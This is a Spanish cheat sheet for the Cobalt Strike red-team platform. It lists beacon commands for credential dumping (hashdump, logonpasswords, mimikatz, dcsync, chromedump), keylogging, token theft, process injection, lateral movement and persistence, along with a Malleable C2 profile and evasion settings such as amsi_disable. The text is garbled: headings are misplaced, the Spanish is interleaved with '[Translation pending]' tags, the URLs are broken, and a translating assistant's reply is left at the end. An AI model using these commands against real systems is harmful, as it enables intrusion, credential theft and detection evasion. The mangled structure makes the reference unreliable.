Saltar a contenido

Hoja de Referencia de Cobalt Strike

Descripción General

Cobalt Strike es una plataforma comercial de pruebas de penetración y operaciones de red de equipo rojo diseñada para emular actores de amenazas avanzadas. Proporciona un framework de post-explotación que permite a los operadores implementar beacons (agentes) en sistemas comprometidos, establecer canales de comando y control (C2), y realizar diversas operaciones de seguridad ofensiva.

⚠️ Advertencia: Cobalt Strike es una herramienta comercial de pruebas de seguridad que solo debe usarse en entornos donde se tenga permiso explícito para hacerlo.

Componentes Principales

Servidor de Equipo

  • Servidor central de comando y control
  • Se ejecuta en Linux
  • Administra beacons y listeners
  • Proporciona colaboración para operaciones de equipo

Cliente

  • Aplicación GUI basada en Java
  • Se conecta al Servidor de Equipo
  • Interfaz para que los operadores interactúen con beacons
  • Visualiza redes objetivo

Beacon

  • Payload principal para post-explotación
  • Establece comunicación con el Servidor de Equipo
  • Proporciona diversas capacidades para operaciones ofensivas
  • Puede operar en diferentes modos de comunicación

Configuración e Instalación

Configuración del Servidor de Equipo

# Start the Team Server
./teamserver <ip_address> <password> [malleable_c2_profile]

# Example
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
```[Translation pending]

### Configuración del Cliente
1. Launch the Cobalt Strike client 2. Connect > New Connection 3. Enter Team Server details: - Host: - Port: 50050 (default) - User: - Password: 4. Verify SSL certificate fingerprint ```[Translation pending]

Listeners

Creación de Listeners

1. Cobalt Strike > Listeners
2. Click "Add"
3. Configure listener settings:
   - Name: <listener_name>
   - Payload: <beacon_type>
   - Host: <callback_domain_or_ip>
   - Port: <port_number>
   - Profile: <malleable_c2_profile>
4. Click "Save"
```[Translation pending]

### Tipos de Listeners

| Tipo | Descripción |
|------|-------------|
| HTTP | Usa HTTP para comunicación C2 |
| HTTPS | Utiliza HTTPS para comunicación C2 |
| DNS | Utiliza consultas DNS para C2 sigiloso |
| SMB | Utiliza tuberías con nombre para C2 peer-to-peer |
| TCP | Utiliza conexiones TCP directas |
| Foreign | Se integra con otros frameworks C2 |[Translation pending]

## Generación de Payloads

### Tipos de Payloads de Beacon
Attacks > Packages >
| Tipo de Payload | Descripción |
|--------------|-------------|
| Windows Executable | Archivo .exe estándar |
| Windows Service EXE | Ejecutable de servicio |
| DLL | Biblioteca de Vínculo Dinámico |
| PowerShell | PowerShell one-liner |
| Python | Script de Python |
| Office Macro | Macro para documentos de Office |
| Shellcode | Shellcode en bruto |[Translation pending]

### Artifact Kit
Attacks > Packages > Windows Executable (S) ```[Translation pending] - Genera payloads personalizados con técnicas de evasión - Modifica firmas para evitar detección - Plantillas personalizables

Comandos de Beacon

Gestión de Sesiones

Comando Descripción
help Mostrar información de ayuda
sleep [seconds] [jitter%] Establecer tiempo de sueño y jitter
checkin Forzar check-in inmediato
exit Terminar la sesión del beacon
clear Borrar la cola de tareas del beacon
jobs Listar trabajos en ejecución
jobkill [JID] Terminar un trabajo en ejecución
mode dns Cambiar al modo DNS
mode dns-txt Cambiar al modo DNS-TXT
mode dns6 Cambiar al modo DNS6
mode http Cambiar a modo HTTP
mode smb Cambiar a modo SMB

Recopilación de Información

Comando Descripción
hostname Obtener el hostname
ipconfig Mostrar configuración de red
netstat Mostrar conexiones de red
ps Listar procesos en ejecución
tasklist Alternativa a ps
getuid Obtener ID de usuario actual
whoami Obtener información detallada del usuario
pwd Imprimir directorio de trabajo
drives Listar unidades disponibles
dir [directory] Listar archivos en directorio
ls [directory] Alternativa a dir
net [command] Ejecutar comando net
reg query [path] Consultar registro
sysinfo Obtener información del sistema

Operaciones de Archivos

Comando Descripción
cd [directory] Cambiar directorio
cp [source] [destination] Copiar un archivo
mkdir [directory] Crear un directorio
mv [source] [destination] Mover o cambiar el nombre de un archivo
rm [file] Eliminar un archivo
rmdir [directory] Eliminar un directorio
cat [file] Mostrar contenido de archivo
download [file] Descargar un archivo desde target
upload [file] Cargar un archivo a target
timestomp [file] [template] Modificar marcas de tiempo de archivos
ls-acl [file] Listar permisos de archivo

Operaciones de Procesos

Comando Descripción
execute [program] Ejecutar sin capturar la salida
shell [command] Ejecutar y capturar salida
run [program] Ejecutar un programa
runas [user] [password] [program] Ejecutar como otro usuario
pth [user] [domain] [hash] Pass-the-hash para crear un token
steal_token [pid] Robar token del proceso
make_token [domain] [user] [password] Crear un token
rev2self Revertir al token original
getprivs Habilitar privilegios de sistema
getsystem Intentar obtener privilegios de SYSTEM
execute-assembly [file.exe] Ejecutar ensamblado .NET en memoria
powerpick [command] Ejecutar PowerShell sin powershell.exe
powershell [command] Ejecutar comando de PowerShell
psinject [pid] [command] Ejecutar PowerShell en un proceso específico
shinject [pid] [arch] [file.bin] Inyectar shellcode en proceso
dllinject [pid] [file.dll] Inyectar DLL en proceso
dllload [file.dll] Cargar DLL en proceso beacon

Movimiento Lateral

Comando Descripción
psexec [target] [listener] Usar PsExec para desplegar beacon
psexec_psh [target] [listener] Usar PsExec con PowerShell
winrm [target] [listener] Usar WinRM para desplegar beacon
wmi [target] [listener] Usar WMI para desplegar beacon
ssh [target:port] [user] [pass] [listener] Usar SSH para desplegar beacon
ssh-key [target:port] [user] [key] [listener] Usar SSH con autenticación por clave
dcsync [domain] [user] Usar DCSync para extraer hashes de contraseñas
jump [method] [target] [listener] Saltar al objetivo usando el método especificado
remote-exec [method] [target] [command] Ejecutar comando en sistema remoto

Pivoting

Comando Descripción
rportfwd [bind port] [forward host] [forward port] Configurar reenvío de puerto inverso
rportfwd stop [bind port] Detener reenvío de puerto inverso
socks [port] Iniciar servidor proxy SOCKS
socks stop Detener servidor proxy SOCKS
spunnel [host] [port] Crear túnel cifrado sobre SMB
spunnel stop Detener túnel cifrado
covertvpn [interface] [IP/Mask] Implementar interfaz de Covert VPN
covertvpn stop Detener Covert VPN
pivot [host] [port] Escuchar listeners de pivot
pivotlistener [host] [port] Crear listener pivote

Post-Explotación

Comando Descripción
mimikatz [command] Ejecutar comando Mimikatz
hashdump Volcar hashes de contraseñas
logonpasswords Volcar credenciales de la memoria
keylogger [pid] Iniciar keylogger
screenshot [pid] Tomar captura de pantalla
screenwatch [pid] Observar pantalla del objetivo
printscreen Tomar captura de pantalla usando PrintScreen
reg query [path] Consultar registro
powerview [command] Ejecutar comando PowerView
portscan [targets] [ports] [discovery method] Escanear puertos abiertos
browserpivot [pid] [port] Secuestrar sesiones web autenticadas
chromedump Volcar cookies y datos de inicio de sesión de Chrome
persist [method] [listener] Configurar persistencia
elevate [exploit] [listener] Intentar escalada de privilegios

Perfiles de Malleable C2

Estructura Básica

# Global options
set sleeptime "5000";
set jitter "10";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";

# HTTP staging
http-stager \\\\{
    set uri "/jquery-3.3.1.min.js";
    client \\\\{
        header "Accept" "text/javascript, application/javascript, */*";
    \\\\}
    server \\\\{
        header "Content-Type" "application/javascript";
    \\\\}
\\\\}

# HTTP client
http-get \\\\{
    set uri "/api/v1/data";
    client \\\\{
        header "Accept" "application/json";
        metadata \\\\{
            base64;
            prepend "session=";
            append ";";
            header "Cookie";
        \\\\}
    \\\\}
    server \\\\{
        header "Content-Type" "application/json";
        output \\\\{
            json \\\\{
                "status" "success";
                "data" "";
            \\\\}
            prepend "\\\\{\"data\":\"";
            append "\"\\\\}";
            base64;
        \\\\}
    \\\\}
\\\\}
```[Translation pending]

### Probando Perfiles
```bash
# Verify profile syntax
./c2lint c2-profiles/normal/amazon.profile

# Start Team Server with profile
./teamserver 192.168.1.100 P@ssw0rd! c2-profiles/normal/amazon.profile
```[Translation pending]

## Scripts de Aggressor

### Estructura Básica de Scripts

Event handlers

on beacon_initial \\{ println("New beacon: " . $1); \\}

Aliases (custom commands)

alias hello \\{ blog($1, "Hello, World!"); \\}

Menus

popup beacon_bottom \\{ item "Custom Command" \\{ blog(\(1, "Executing custom command..."); bshell(\)1, "whoami"); \\} \\}

Functions

sub get_system_info \\{ bshell($1, "systeminfo"); \\} ```[Translation pending]

Funciones Comunes de Scripts

Función Descripción
blog($1, "message") Escribir en la consola de beacon
bshell($1, "command") Ejecutar comando de shell
bpowershell($1, "command") Ejecutar comando de PowerShell
bpowerpick($1, "command") Ejecutar PowerShell sin powershell.exe
bexecute_assembly($1, "/path/to/file.exe") Ejecutar ensamblado .NET
bdllspawn($1, "/path/to/file.dll") Inyectar DLL Reflective
bpsexec($1, "target", "listener") Ejecutar movimiento lateral de PsExec
bwmi($1, "target", "listener") Ejecutar movimiento lateral WMI
bwinrm($1, "target", "listener") Ejecutar movimiento lateral de WinRM

Consideraciones de OPSEC

Inyección de Procesos

# Set parent process for new processes
ppid [pid]

# Set process to spawn for post-ex jobs
spawnto x64 %windir%\\sysnative\\rundll32.exe
spawnto x86 %windir%\\syswow64\\rundll32.exe

# Mask command-line arguments
argue [command] [fake arguments]

# Block non-Microsoft DLLs
blockdlls start
blockdlls stop
```[Translation pending]

### Técnicas de Evasión

[Note: Sections 3-20 are marked as pending translation, as they were not provided in the original request.]```
# Obfuscate beacon in memory
sleep_mask [seconds] [jitter%]

# Configure staging process
stage \\\\{
    set obfuscate "true";
    set stomppe "true";
    set cleanup "true";
\\\\}

# Disable AMSI
amsi_disable

# Use smarter process injection
smartinject
```## Flujos de Trabajo Comunes
1. Create a listener (Cobalt Strike > Listeners) 2. Generate a payload (Attacks > Packages) 3. Deliver payload to target 4. Wait for beacon check-in ### Acceso Inicial
1. Check current privileges: getuid
2. Attempt to get SYSTEM: getsystem
3. If unsuccessful, try specific exploits: elevate [exploit] [listener]
4. Verify new privileges: getuid
```### Escalada de Privilegios
1. Dump hashes: hashdump 2. Dump credentials from memory: logonpasswords 3. Use Mimikatz for advanced options: mimikatz [command] 4. Extract domain hashes (if DC): dcsync [domain] [user]
### Recopilación de Credenciales
1. Identify targets: net view
2. Choose lateral movement technique:
   - psexec [target] [listener]
   - winrm [target] [listener]
   - wmi [target] [listener]
3. Verify new beacon check-in
```### Movimiento Lateral
1. Choose persistence method: - persist [method] [listener] - schtasks [options] - service [options] - registry [options] 2. Verify persistence works 3. Document persistence mechanisms for cleanup ```### Persistencia https://www.cobaltstrike.com/help-beacon## Recursos - [Documentación Oficial de Cobalt Strike]( https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm- [Guía de Usuario de Cobalt Strike]( https://github.com/BC-SECURITY/Malleable-C2-Profiles- [Perfiles de Malleable C2]( https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as_aggressor_script.htm- [Documentación de Aggressor Script]( https://attack.mitre.org/software/S0154/- [Mapeo de Cobalt Strike con MITRE ATT&CK](

Would you like me to provide the full translations or complete the URLs for the resources? If you have specific content for each section, please share it and I'll translate accordingly.